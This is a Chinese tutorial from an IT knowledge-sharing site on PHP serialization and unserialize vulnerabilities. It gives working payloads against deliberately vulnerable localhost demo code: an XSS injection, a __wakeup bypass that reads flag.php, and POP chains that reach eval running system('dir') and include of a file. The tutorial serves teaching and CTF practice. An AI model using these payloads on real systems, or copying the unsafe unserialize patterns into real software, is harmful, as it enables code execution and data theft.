大家好,欢迎来到IT知识分享网。
一、序列化与反序列化
1、序列化:
序列化是指将数据结构或对象转换为一串字节流的过程,使其可以存储、传输或缓存时进行持久化。(PHP 中使用 serialize() 函数可以将数据结构或对象进行序列化,得到一个表示序列化后数据的字符串)
2、反序列化:
反序列化是指将序列化后的数据进行解码和还原,恢复为原始的数据结构或对象的过程。反序列化是序列化的逆过程。(PHP 中使用 unserialize() 函数对序列化后的字符串进行反序列化,将其还原为原始的数据)
1、序列化后的类型 (1)i 整型(int) (2)d 浮点类型(double) (3)b 布尔类型(boolean) (4)a 数组类型(array) (5)O 对象类型(class) (6)N NULL 类型(null) 常见格式:O:长度:"类名":变量数:{变量类型:变量名长度:"变量名":变量值;} 2、变量长度的注意点 (1)中文汉字或中文字符长度加3 3、对于不同的访问类型: (1)public 就是变量本身 (2)protect \00*\00变量名,指明字符长度的 s 要大写 S (3)private \00类名\00变量名,指明字符长度的 s 要大写 S
3、说明示例1
(1)源码:
<?php class Seria{ public $name = "chunchun"; protected $age = 11; private $username = "limb"; public function __construct(){ echo "序列化结束"."<br>"; } } $c = new Seria(); echo serialize($c); ?>
(2)执行结果
4、说明示例2
(1)源码:
<?php class Seria{ public $name = "chunchun"; protected $age = 11; private $username = "limb"; public function __construct(){ echo "序列化结束"."<br>"; } } $ser = new Seria(); $a = serialize($ser); print_r(unserialize($a)); echo "<br>"; $c = $_GET['cc'] ?? 'O:5:"Seria":3:{s:4:"name";s:8:"chunchun";s:6:"%00*%00age";i:11;s:15:"%00Seria%00username";s:4:"limb";}'; print_r(unserialize($c)); ?>
(2)payload:
http://localhost/serialize/test2/test1.php?cc=O:5:%22Seria%22:3:{s:4:%22name%22;s:8:%22chunchun%22;s:6:%22%00*%00age%22;i:11;s:15:%22%00Seria%00username%22;s:4:%22limb%22;}
(3)效果:
5、说明示例3:
(1)源码:
<?php class Seria{ public $name = "chunchun"; protected $age = 11; private $username = "limb"; public function __construct(){ echo "序列化结束"."<br>"; } } $b = new Seria(); $cc = serialize($b); print_r(unserialize($cc)); echo "<br>"; $a = $_POST['cc'] ?? 'O:5:"Seria":3:{s:4:"name";s:8:"chunchun";S:6:"\00*\00age";i:11;S:15:"\00Seria\00username";s:4:"limb";}'; print_r(unserialize($a)); ?>
(2)payload:
(3)效果:
6、魔术方法:
__construct() 当一个对象创建时被调用 __destruct() 当一个对象销毁前被调用 __sleep() 在对象被序列化前被调用 __wakeup() 将在反序列化之后立即被调用 __toString() 当一个对象被当做字符串使用时被调用 __get() 访问一个不存在或不可访问的属性时调用 __set() 当一个不存在或不可访问的属性赋值时调用 __invoke() 调用函数的方式调用一个对象时的回应方法 __call() 使用不存在或无法访问的方法时调用 __callStatic() 使用不存在或无法访问的静态方法时调用 __isset() 对不存在或不可访问的属性使用 isset() 或 empty() 函数时调用 __unset() 对不可访问或不存的属性使用 unset() 函数时调用 __invoke() 当你像使用函数一样使用一个对象时调用 __clone() 当你使用 clone 函数复制一个对象时调用 __autoload() 当你尝试加载未定义的类时调用
二、反序列化漏洞:
1、漏洞简述:
反序列化的数据本质上来说是没有危害的,用户可控数据进行反序列化是存在危害的,反序列化的危害, 关键还是在于可控或不可控。
三、反序列化漏洞的利用
1、XSS:以上述实例代码 2 为例,若序列化的值可控:
(1)payload:
http://localhost/serialize/test2/test1.php?cc=O:5:%22Seria%22:3:{s:4:%22name%22;s:25:%22%3Cscript%3Ealert(1)%3C/script%3E%22;s:6:%22%00*%00age%22;i:11;s:15:%22%00Seria%00username%22;s:4:%22limb%22;}
(2)显示效果:
(3)POST 的效果也是一样的:
2、 绕过 __wakeup:
(1)示例源码:
<?php class Getflag{ protected $file='test3.php'; function __destruct(){ if(!empty($this->file)) { if(strchr($this-> file,"\\")===false && strchr($this->file, '/')===false){ show_source(dirname (__FILE__).'/'.$this->file); }else{ echo 'Wrong filename.'; } }else{ echo "kong"; } } function __wakeup(){ $this->file = 'test3.php'; } } $f = $_GET['file']; echo $f."<br>"; $ff = base64_decode($f); echo $ff."<br>"; $c = unserialize($ff)."<br>"; ?>
(2)flag.php
<?php $flag = "chunchun"; ?>
(3)payload 获取
第一步:编写 exp获取序列化后的字符串
<?php class Getflag{ protected $file='flag.php'; function __destruct() { if(!empty($this->file)) { if(strchr($this-> file,"\\")===false && strchr($this->file, '/')===false) show_source(dirname (__FILE__).'/'.$this ->file); }else{ echo 'Wrong filename.'; } } } $data= new Getflag(); $ser= serialize($data); echo $ser; echo "</br>"; echo base64_encode($ser)."<br>"; echo base64_encode('O:7:"Getflag":2:{S:7:"\00*\00file";s:8:"flag.php";}')."<br>"; ?>
O:7:"Getflag":1:{s:7:"*file";s:8:"flag.php";} 因为有 protected 属性,改写为: O:7:"Getflag":1:{S:7:"\00*\00file";s:8:"flag.php";}
第二步:增加变量个数,以此来绕过 __wakeup ,然后进行 base64 编码:
增加变量个数后改为: O:7:"Getflag":2:{S:7:"\00*\00file";s:8:"flag.php";} base64 编码后为: Tzo3OiJHZXRmbGFnIjoyOntTOjc6IlwwMCpcMDBmaWxlIjtzOjg6ImZsYWcucGhwIjt9
第三步:进行访问 flag.php 的尝试
注意:如果 php 高于 7.0 则没有该漏洞。
3、 pop 链构造1
(1)示例源码:
<?php
header('Content-Type: text/html; charset=utf-8');
class First{
private $t1;
function __construct(){
$this->t1 = new test2();
}
function __destruct(){
$this->t1->excute();
}
}
class Second{
public function excute(){
echo "走错了";
}
}
class Third{
public $t3;
public function excute(){
eval($this->t3);
}
}
if(isset($_GET['cc'])){
$c = $_GET['cc'];
$d = unserialize($c);
print_r($d);
echo "<br>";
}else{
echo "无参数";
}
?>
(2)获取 payload :
<?php
header('Content-Type: text/html; charset=utf-8');
class First{
private $t1;
function __construct(){
$this->t1 = new Third();
}
}
class Third{
public $t3 = "system('dir');";
public function excute(){
eval($this->t3);
}
}
$exp = new First();
echo serialize($exp);
?>
(3)输入 payload:
字符串的序列化值: O:5:"First":1:{s:9:"Firstt1";O:5:"Third":1:{s:2:"t3";s:14:"system('dir');";}} 加入 url 编码: O:5:"First":1:{s:9:"%00First%00t1";O:5:"Third":1:{s:2:"t3";s:14:"system('dir');";}} ?cc=O:5:"First":1:{s:9:"%00First%00t1";O:5:"Third":1:{s:2:"t3";s:14:"system('dir');";}}
4、pop 链构造2
(1)源代码:
<?php class Modifier{ // 1、需要满足 $var = "flag.php",然后要调用 __invoke() 函数,需要把 Modifier 当函数执行 protected $var; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); } } class Show{ public $source; public $str; public function __construct($file = 'index.php'){ $this->source = $file; echo 'Welcome to '.$this->source."<br>"; } public function __toString(){ // 3、要访问 Test 中不存在的属性,所以要触发 __toString() 函数,然后满足 $str = new Test(),然后把 Show 当作字符串来使用 return $this->str->source; } public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)){ echo "hacker"; $this->source = "index.php"; } }// 4、preg_match() 是对字符串进行处理,所以要使得 $source 等于 new Show(),然后触发 __toString } class Test{ // 2、因为 return $fun() 是吧 $fun 变量当作函数执行,所以要满足 $p = new Modifier(),然后要调用 __get() 函数,所以要访问 Test 中没有的属性 public $p; public function __construct(){ $this->p = array(); } public function __get($key){ $fun = $this->p; return $fun(); } } if(isset($_GET['pop'])){ unserialize($_GET['pop']); }else{ $a = new Show(); highlight_file(__FILE__); } ?>
(2)获取 payload:
<?php class Modifier{ protected $var = "flag.php"; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); } } class Show{ public $source; public $str; public function __construct(){ // $this->source = new Show(); $this->str = new Test(); } } class Test{ public $p; } $exp = new Show(); $exp->source = new Show(); $exp->source->str->p = new Modifier(); echo serialize($exp); ?>
(3)输入 payload:
O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"*var";s:8:"flag.php";}}}s:3:"str";O:4:"Test":1:{s:1:"p";N;}} 因为存在 protected 属性,所以更改为: O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"%00*%00var";s:8:"flag.php";}}}s:3:"str";O:4:"Test":1:{s:1:"p";N;}} ?pop=O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"%00*%00var";s:8:"flag.php";}}}s:3:"str";O:4:"Test":1:{s:1:"p";N;}}
免责声明:本站所有文章内容,图片,视频等均是来源于用户投稿和互联网及文摘转载整编而成,不代表本站观点,不承担相关法律责任。其著作权各归其原作者或其出版社所有。如发现本站有涉嫌抄袭侵权/违法违规的内容,侵犯到您的权益,请在线联系站长,一经查实,本站将立刻删除。 本文来自网络,若有侵权,请联系删除,如若转载,请注明出处:https://haidsoft.com/118497.html






